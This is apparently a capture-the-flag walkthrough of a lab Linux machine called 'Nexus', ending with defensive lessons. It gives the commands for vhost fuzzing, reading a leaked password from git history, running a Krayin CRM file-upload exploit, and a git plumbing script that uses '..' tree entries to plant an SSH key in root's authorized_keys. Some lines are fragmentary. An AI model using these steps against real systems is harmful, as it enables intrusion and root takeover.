Nexus is an Easy-rated Linux box, but the root path packs in a technique most Easy boxes never touch: crafting raw git tree objects by hand to smuggle a directory-traversal filename past an application's naive path handling. Everything before that — a leaked DB password sitting in git history, a job posting leaking a valid email address, and a very recent Krayin CRM file upload CVE — is straightforward. The privesc is where this one earns its keep.
sudo nmap -sV -sC -p- --min-rate 5000 <target>
Only two ports open: 22 (SSH) and 80 (nginx, redirecting to nexus.htb).
The main site is a corporate energy-company landing page. VHost fuzzing
against the base domain turned up the real attack surface:
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \ -H "Host: FUZZ.nexus.htb" \ -u http://nexus.htb/ \ -fs <baseline_size>
| Vhost | Service |
|---|---|
git.nexus.htb | Gitea (self-hosted git), publicly browsable |
billing.nexus.htb | Krayin CRM admin login |
The main site's careers section also leaked a real internal email address
in its "hiring manager" contact line — j.matthew@nexus.htb — which
turned out to be the exact account needed to log into the CRM later.
Gitea's /explore/repos page requires no authentication and listed
a single public repository: admin/krayin-docker-setup. Browsing its
file tree showed a docker-compose.yml and a .env — but the live
.env had its DB_PASSWORD field blanked out. The repo had two
commits, though, and Gitea serves raw commit diffs directly:
curl -s http://git.nexus.htb/admin/krayin-docker-setup/commit/<first_commit_hash>.diff
.env file with a real password in plain
text. The second commit "fixed" it by blanking the field — but never
rewrote history, so the original value was sitting untouched in the older
commit, fully readable without any git clone or authentication at all.
That leaked password (from the Docker setup repo) wasn't the one that
mattered in the end, but it confirmed the pattern and got the login flow
moving: paired with the j.matthew@nexus.htb address from the careers
page, it worked as valid Krayin CRM admin credentials.
Krayin CRM (Webkul's open-source Laravel CRM) v2.2.x has a critical authenticated arbitrary file upload vulnerability in its TinyMCE rich-text editor integration:
/admin/tinymce/uploadThe upload handler performs no server-side validation on file extension or
content type. Anything uploaded through it lands in a web-accessible
/storage/tinymce/ directory, meaning a PHP webshell uploaded through the
"image" upload dialog is directly reachable and executable via a normal
GET request afterward.
A public PoC automates login, upload, and verification in one shot:
git clone https://github.com/NathanHimself/CVE-2026-38526-PoC cd CVE-2026-38526-PoC python3 exploit.py -t http://billing.nexus.htb \ -u j.matthew@nexus.htb -p '<redacted>' -c id
Confirmed command execution as www-data. Swapping the -c payload for a
one-liner reverse shell handed over an interactive session on the box.
The live Krayin .env on disk (as opposed to the sanitized one in Gitea)
had a real, current database password:
find / -name ".env" 2>/dev/null | grep -i krayin cat /var/www/krayin/.env
Checking /etc/passwd showed exactly one account with a real login
shell besides root — jones. The DB password worked directly over SSH:
ssh jones@nexus.htb
User flag secured.
A systemd timer runs every 60 seconds, executing a Python script as root:
[Unit] Description=Sync Gitea templates [Service] Type=oneshot User=root ExecStart=/usr/bin/python3 /etc/gitea/template-sync.py
Reading the script revealed its logic: it authenticates to the local Gitea
API, finds any repositories flagged as template repositories, walks each
one's git tree with git ls-tree -r HEAD, and writes every entry out to a
staging directory:
for mode, objhash, filepath in entries:
target = os.path.join(stage_path, filepath)
...
with open(target, 'wb') as f:
f.write(cat_result.stdout)
filepath comes straight from the tree entries recorded inside the
repository — and while a normal git add ../../etc/passwd is blocked by
git's working-tree safeguards, that protection lives in the porcelain
commands, not in the underlying object model. Git's low-level plumbing
(git hash-object, git mktree, git commit-tree) will happily build a
tree object containing an entry literally named .. — and nested trees of
those, walked recursively by ls-tree -r, reconstruct a full traversal path
one directory-hop at a time. os.path.join in the script does zero
sanitization, so once the OS resolves those .. components, the write lands
wherever the attacker pointed it — including outside the staging directory
entirely.
Building the payload. A single mktree entry containing a path with
slashes is rejected outright (fatal: path ... contains slash) — git's
plumbing still enforces that a tree entry is a single path component. The
way around it is building the tree structure by hand, one directory level
at a time, bottom-up:
# 1. Blob = attacker's SSH public key
BLOB_HASH=$(cat ~/.ssh/nexus_root.pub | git hash-object -w --stdin)
# 2. Tree: { authorized_keys -> blob }
TREE_KEYS=$(printf "100644 blob %s\tauthorized_keys\n" "$BLOB_HASH" | git mktree)
# 3. Tree: { .ssh -> TREE_KEYS }
TREE_SSH=$(printf "040000 tree %s\t.ssh\n" "$TREE_KEYS" | git mktree)
# 4. Tree: { root -> TREE_SSH }
TREE_ROOT=$(printf "040000 tree %s\troot\n" "$TREE_SSH" | git mktree)
# 5. Wrap in ".." trees, one level per mktree call, enough to
# walk back past the staging directory's full depth
CURRENT=$TREE_ROOT
for i in 1 2 3 4 5 6; do
CURRENT=$(printf "040000 tree %s\t..\n" "$CURRENT" | git mktree)
done
# 6. Commit the resulting tree and force-push it as the branch head
COMMIT_HASH=$(git commit-tree $CURRENT -m "traversal payload")
git update-ref refs/heads/main $COMMIT_HASH
git push origin main --force
.. levels beyond what's strictly needed are harmless — POSIX
path resolution treats .. at the filesystem root as a no-op rather than
an error, so it's safe to overshoot the exact depth rather than count it
precisely.
The final piece: the sync script only processes repositories flagged as
template repositories in Gitea — a setting entirely separate from repo
creation, tucked into the repo's own Settings page ("Make repository a
template"). Easy to miss on a first pass; the sync log kept reporting
Found 0 template repo(s) until that checkbox was actually saved.
Once flagged, the next timer cycle (within 60 seconds) picked up the repo,
walked the crafted tree, and wrote the attacker's public key straight into
/root/.ssh/authorized_keys:
ssh -i ~/.ssh/nexus_root root@nexus.htb
root@nexus:~# cat /root/root.txt
[root flag captured ✅]
www-data.. path components via low-level plumbing, not git add) escape the staging directory/root/.ssh/authorized_keys → rootgit filter-repo, BFG, or a fresh repo). Anyone can read the diff of any commit, not just the current HEAD.git add) while its plumbing commands and any script consuming that data downstream remain completely exposed.os.path.join() (and equivalents in most languages) is a string-concatenation helper, not a security boundary — it does not resolve or reject .. components. Sanitize with realpath/normalization and an explicit prefix check before ever writing to disk.Scarif Operations | th3m4dh4ck3r.com | CPTS prep, Season 11